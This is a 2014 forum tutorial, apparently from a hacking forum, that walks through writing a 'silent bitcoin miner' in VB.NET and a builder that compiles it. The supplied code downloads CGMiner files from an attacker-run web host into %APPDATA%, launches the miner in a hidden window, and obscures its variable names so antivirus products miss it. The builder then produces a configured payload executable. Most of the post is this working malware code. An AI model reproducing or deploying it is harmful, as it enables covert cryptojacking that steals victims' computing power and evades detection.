Mar 21, 2014 08:23 AM
(This post was last modified: Mar 21, 2014 09:04 AM by Statement.)
Welcome. Today I will show you how to write your own silent bitcoin miner. Also I will show you how to code a builder for this miner, so that you don't need to recode every single bin. Please note, that we'll not code a miner itself. We'll write an application which downloads CGMiner and launches it with the appropiate commands. Everything happens silent.
My previous tutorials
Spoiler (Click to View)
How2: Writing a Silent Bitcoin Miner + Builder
My previous tutorials
Spoiler (Click to View)
How2: Writing a Silent Bitcoin Miner + Builder
At first I want to say, that I don't want to see and silent bitcoin miners out there on the marketplace with this source code. Just don't do it. Please.
Anyways, I assume that you all have Visual Basic.NET (everything above 2005) installed and know how to do at least basic stuff with it. Otherwise, you may not understand this tutorial. So, let's begin. Create a new project (windows forms) for your miner, as you would do it for every other application. Then, add the following elements to it:
• Button (Text: "Build")
• TextBox (Text: "Pool + Port")
• TextBox (Text: "Worker Username")
• TextBox (Text: "Worker Password")
• Everything other, what you'd like to add to your layout.
This will do the basic layout for our application.
![[Image: 61ba272602aea4bf8e8083b62020506f.png]](https://i.gyazo.com/61ba272602aea4bf8e8083b62020506f.png)
Now we gonna code the source code for the silent miner itself. You'll need a webspace (+ FTP) for this. If you don't have a FTP, please get a free webspace at SPAM or other free hosting companies. For tutorials on FTP servers please refer to other tutorials. Also, you can find the CGMiner files here. Just download the newest version (4.1 at the moment).
We won't write this code into our 'normal' code tab. As we want to do a builder for our silent miner, we have to write the code external. To do so, click on Project on the very top, then on (Your project name) properties. Now click on Ressources on the left. Press CTRL + 5 (this will switch to the file ressources), then click on the arrow on the right to "Add a resource", then on "Add a textfile". Name it "Source". Here we will write our code. I'll provide you the full code, it's commented.
Code
Imports Microsoft.VisualBasic
Imports System
Imports System.Diagnostics
Module Main
Public Sub BTCMiner(ByVal URL As String, ByVal User As String, ByVal Pass As String) 'This function will place the CGMiner files and run it with appropiate arguments.
Download("cgminer", ".exe")
Download("libcurl-4", ".dll")
Download("libeay32", ".dll")
Download("libidn-11", ".dll")
Download("librtmp", ".dll") 'Downloads the files
Download("libssh2", ".dll")
Download("miner", ".php")
Download("ssleay32", ".dll")
Download("zlib1", ".dll")
Shell(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\cgminer.exe -o " & URL & " -u " & Pass & " -p " & Pass, AppWinStyle.Hide) 'Runs CGMiner with appropiate arguments
End Sub
Private Sub Download(ByVal name As String, ByVal ext As String) 'This function is used to download files and place them in %APPDATA%.
Dim gdsksgf As New Net.WebClient 'I named the variables like that because it's harder to detect for a few AVs if the names are obfuscated.
Dim hdkvnhdfg As String = "http://mywebspace.com/BitcoinMiner/" 'Here goes your FTP. Put all the CGMiner files into a folder on your FTP and provide the full link to the folder here.
Dim nnnnxb As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" 'This is a variable for the %APPDATA% directory.
Try
If Not IO.File.Exists(nnnnxb & name & ext) Then 'If the file does not exist
gdsksgf.DownloadFile(hdkvnhdfg & name & ext, nnnnxb & name & ext) 'Download and place it
End If
Catch
End Try
End Sub
Sub Main() 'This is our Main sub. It will be called as soon as the silent miner is launched.
Try
Dim Pool$ = "[POOL]" 'This [STRING] stuff will be replaced with other strings. We'll do this in a few minutes.
Dim Username$ = "[USERNAME]"
Dim Password$ = "[PASSWORD]"
BTCMiner(Pool, Username, Password) 'Calls the function BTCMiner with the arguments.
Catch Ex As Exception
End Try
End Sub
End ModuleIf you have any questions about this code, feel free to ask. Now you have a layout of your builder and a textfile filled with code - but they don't have any connections! Let's change this. Get back to your windows form (the builder) and doubleclick on the "Build" button. Insert this code, it's commented too. You'll get errors, no worry, we'll fix them in a few minutes!
Code
Dim Pool$ = poolTxt.Text 'Defines our pool & port
Dim Username$ = userTxt.Text 'Defines our worker user
Dim Password$ = passTxt.Text 'Defines the pass for the worker
Dim NewCode As String = My.Resources.Source.ToString 'Gets the Source.txt file we wrote
NewCode = NewCode.Replace("[POOL]", Pool) 'And this is the replacing stuff!
NewCode = NewCode.Replace("[USERNAME]", Username)
NewCode = NewCode.Replace("[PASSWORD]", Password)
Compile("My Miner.exe", NewCode) 'Compiles the minerNow you will most likely get an error on "Compile". That's because we did not write this function yet! Insert this code after "Public Class Form!":
Code
Private Sub Compile(ByVal ExecutableName As String, ByVal SourceCode As String)
Dim Settings As New CompilerParameters
With Settings
.GenerateExecutable = True 'This function generates an exe file.
.OutputAssembly = ExecutableName
.ReferencedAssemblies.Add("System.dll") 'Referenced libraries.
.CompilerOptions = " /target:winexe" 'Target is an exe.
.TreatWarningsAsErrors = False 'We don't want any warnings handled as errors. Let's disable this.
End With
Dim Version = New Dictionary(Of String, String)
Version.Add("CompilerVersion", "v2.0")
Dim Result As CompilerResults = Nothing
Using Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("VisualBasic") 'Tells CodeDOM that our code is VB.
Result = Compiler.CompileAssemblyFromSource(Settings, SourceCode) 'Compiles the code
End Using
If (Result.Errors.Count > 0) Then 'Error handling stuff
For Each E As CompilerError In Result.Errors
MessageBox.Show("ERROR: " & E.ErrorText, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Next
Else
MessageBox.Show("Successfully compiled your miner!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information) 'Msgbox on success
End If
End SubCode
Imports System.CodeDom.CompilerYou may have noticed, you may have not, but we're done now! Launch your application by pressing F5 and insert your pool + worker info. Then click on "Build". The My Miner.exe will be at the location where your project files are stored (if you can't find it, just search for the file My Miner.exe with the Windows search function)
Done! Save everything and you'll have your very own silent bitcoin miner!



